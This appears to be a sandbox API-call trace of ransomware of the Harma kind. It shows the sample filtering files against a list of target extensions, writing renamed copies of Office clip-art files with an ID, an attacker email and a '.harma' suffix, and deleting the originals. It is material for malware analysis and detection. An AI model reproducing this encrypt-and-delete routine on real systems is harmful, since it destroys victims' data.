[0141.828] lstrlenW (lpString=".zip") returned 4 [0141.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.829] lstrlenW (lpString=".rar") returned 4 [0141.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.829] lstrlenW (lpString=".bz2") returned 4 [0141.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.829] lstrlenW (lpString=".7z") returned 3 [0141.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.829] lstrlenW (lpString=".dbf") returned 4 [0141.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.829] lstrlenW (lpString=".1cd") returned 4 [0141.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.829] lstrlenW (lpString=".jpg") returned 4 [0141.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.829] lstrlenW (lpString=".doc") returned 4 [0141.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.829] lstrlenW (lpString=".docx") returned 5 [0141.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.829] lstrlenW (lpString=".pdf") returned 4 [0141.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.829] lstrlenW (lpString=".xls") returned 4 [0141.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.829] lstrlenW (lpString=".xlsx") returned 5 [0141.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.829] lstrlenW (lpString=".ppt") returned 4 [0141.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.829] lstrlenW (lpString=".zip") returned 4 [0141.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.830] lstrlenW (lpString=".rar") returned 4 [0141.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.830] lstrlenW (lpString=".bz2") returned 4 [0141.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.830] lstrlenW (lpString=".7z") returned 3 [0141.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.830] lstrlenW (lpString=".dbf") returned 4 [0141.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.830] lstrlenW (lpString=".1cd") returned 4 [0141.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0141.830] lstrlenW (lpString=".jpg") returned 4 [0141.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.830] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0141.830] lstrlenW (lpString="AN04269_.WMF") returned 12 [0141.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0141.831] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2016) returned 1 [0141.831] CloseHandle (hObject=0x354) returned 1 [0141.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0141.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0141.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0141.831] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.831] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0141.832] GetLastError () returned 0x0 [0141.832] ReadFile (in: hFile=0x354, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0141.846] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0141.847] ReadFile (in: hFile=0x354, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.847] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.847] SetEndOfFile (hFile=0x350) returned 1 [0141.847] CloseHandle (hObject=0x350) returned 1 [0141.848] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.848] SetEndOfFile (hFile=0x354) returned 1 [0141.850] CloseHandle (hObject=0x354) returned 1 [0141.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0141.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.854] lstrlenW (lpString=".doc") returned 4 [0141.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.854] lstrlenW (lpString=".docx") returned 5 [0141.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.854] lstrlenW (lpString=".pdf") returned 4 [0141.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.854] lstrlenW (lpString=".xls") returned 4 [0141.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.854] lstrlenW (lpString=".xlsx") returned 5 [0141.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.855] lstrlenW (lpString=".ppt") returned 4 [0141.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.855] lstrlenW (lpString=".zip") returned 4 [0141.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.855] lstrlenW (lpString=".rar") returned 4 [0141.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString=".bz2") returned 4 [0141.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString=".7z") returned 3 [0141.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.855] lstrlenW (lpString=".dbf") returned 4 [0141.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.855] lstrlenW (lpString=".1cd") returned 4 [0141.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.855] lstrlenW (lpString=".jpg") returned 4 [0141.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.855] lstrlenW (lpString=".doc") returned 4 [0141.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString=".docx") returned 5 [0141.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.855] lstrlenW (lpString=".pdf") returned 4 [0141.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString=".xls") returned 4 [0141.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.856] lstrlenW (lpString=".xlsx") returned 5 [0141.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.856] lstrlenW (lpString=".ppt") returned 4 [0141.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.856] lstrlenW (lpString=".zip") returned 4 [0141.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.856] lstrlenW (lpString=".rar") returned 4 [0141.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString=".bz2") returned 4 [0141.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString=".7z") returned 3 [0141.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.856] lstrlenW (lpString=".dbf") returned 4 [0141.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.856] lstrlenW (lpString=".1cd") returned 4 [0141.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0141.856] lstrlenW (lpString=".jpg") returned 4 [0141.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.856] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0141.856] lstrlenW (lpString="AN04323_.WMF") returned 12 [0141.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.027] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2492) returned 1 [0142.027] CloseHandle (hObject=0x210) returned 1 [0142.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0142.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0142.117] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.117] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.312] GetLastError () returned 0x0 [0142.312] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0142.314] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0142.315] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.315] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.315] SetEndOfFile (hFile=0x210) returned 1 [0142.316] CloseHandle (hObject=0x210) returned 1 [0142.316] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.316] SetEndOfFile (hFile=0x368) returned 1 [0142.326] CloseHandle (hObject=0x368) returned 1 [0142.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0142.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.327] lstrlenW (lpString=".doc") returned 4 [0142.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.327] lstrlenW (lpString=".docx") returned 5 [0142.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.327] lstrlenW (lpString=".pdf") returned 4 [0142.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.327] lstrlenW (lpString=".xls") returned 4 [0142.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.328] lstrlenW (lpString=".xlsx") returned 5 [0142.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.328] lstrlenW (lpString=".ppt") returned 4 [0142.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.328] lstrlenW (lpString=".zip") returned 4 [0142.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.328] lstrlenW (lpString=".rar") returned 4 [0142.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.328] lstrlenW (lpString=".bz2") returned 4 [0142.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.328] lstrlenW (lpString=".7z") returned 3 [0142.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.328] lstrlenW (lpString=".dbf") returned 4 [0142.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.328] lstrlenW (lpString=".1cd") returned 4 [0142.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.328] lstrlenW (lpString=".jpg") returned 4 [0142.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.328] lstrlenW (lpString=".doc") returned 4 [0142.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.328] lstrlenW (lpString=".docx") returned 5 [0142.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.329] lstrlenW (lpString=".pdf") returned 4 [0142.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.329] lstrlenW (lpString=".xls") returned 4 [0142.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.329] lstrlenW (lpString=".xlsx") returned 5 [0142.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.329] lstrlenW (lpString=".ppt") returned 4 [0142.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.329] lstrlenW (lpString=".zip") returned 4 [0142.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.329] lstrlenW (lpString=".rar") returned 4 [0142.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.329] lstrlenW (lpString=".bz2") returned 4 [0142.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.329] lstrlenW (lpString=".7z") returned 3 [0142.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.329] lstrlenW (lpString=".dbf") returned 4 [0142.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.329] lstrlenW (lpString=".1cd") returned 4 [0142.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0142.329] lstrlenW (lpString=".jpg") returned 4 [0142.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.329] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0142.329] lstrlenW (lpString="AN04369_.WMF") returned 12 [0142.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0142.330] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4808) returned 1 [0142.330] CloseHandle (hObject=0x368) returned 1 [0142.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0142.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0142.330] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.331] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.331] GetLastError () returned 0x0 [0142.331] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0142.333] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0142.334] ReadFile (in: hFile=0x368, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.334] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.334] SetEndOfFile (hFile=0x210) returned 1 [0142.334] CloseHandle (hObject=0x210) returned 1 [0142.334] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.335] SetEndOfFile (hFile=0x368) returned 1 [0142.337] CloseHandle (hObject=0x368) returned 1 [0142.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0142.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.338] lstrlenW (lpString=".doc") returned 4 [0142.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.338] lstrlenW (lpString=".docx") returned 5 [0142.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.338] lstrlenW (lpString=".pdf") returned 4 [0142.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.338] lstrlenW (lpString=".xls") returned 4 [0142.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.338] lstrlenW (lpString=".xlsx") returned 5 [0142.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.338] lstrlenW (lpString=".ppt") returned 4 [0142.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.338] lstrlenW (lpString=".zip") returned 4 [0142.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.338] lstrlenW (lpString=".rar") returned 4 [0142.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.338] lstrlenW (lpString=".bz2") returned 4 [0142.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.338] lstrlenW (lpString=".7z") returned 3 [0142.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0142.338] lstrlenW (lpString=".dbf") returned 4 [0142.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 